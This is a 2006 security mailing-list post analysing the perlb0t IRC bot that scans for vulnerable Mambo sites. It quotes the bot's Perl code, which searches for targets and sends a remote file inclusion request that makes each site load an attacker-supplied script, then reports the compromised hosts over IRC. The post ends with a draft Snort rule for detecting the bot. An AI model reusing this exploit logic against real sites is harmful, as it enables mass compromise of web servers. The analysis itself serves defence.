Re: High volume of Mambo scans (perlb0t) May 14 2006 11:34PM

Seems to have some kind of google search code for the particular
vulnerability - haven't seen this before:

if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1."
seconds.");^M
srand;^M
my $itime = time;^M
my ($cur_time);^M
my ($exploited);^M
$boturl=$2;^M
$cur_time = time - $itime;$exploited = 0;^M
while($1>$cur_time){^M
$cur_time = time - $itime;^M
@urls=fetch();^M
foreach $url (@urls) {^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Trying to exploit ".$url);^M
$cur_time = time - $itime;^M
my $path = "";my $file = "";($path, $file) =
$url =~ /^(.+)\/(.+)$/;^M
$url
=$path."/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBA
LS=&mosConfig_absolute_path=$boturl?";^M
$page = http_query($url);^M
$exploited = $exploited + 1;^M
}^M
}^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1."
seconds.");^M

This is a quick stab at a snort sig:

alert tcp $EXTERNAL_NET !21:443 -> $HOME_NET !80 (msg: "BLEEDING-EDGE
perlb0t Bot Reporting Scan/Exploit"; flow: to_server,established;
content:"PRIVMSG|20|"; nocase; within: 80; tag: session, 20, packets;
pcre:"/(GOOGLE|HTTP|TCP|SCAN|UDP|VERSION)/i"; within:16;
pcre:"/(Exploiting|Exploited}Attacking|Scanning|perlb0t)/i";
classtype: trojan-activity; sid: xxxx; rev:1; )

but I'm sure this could be improved.

cheers,
Jamie
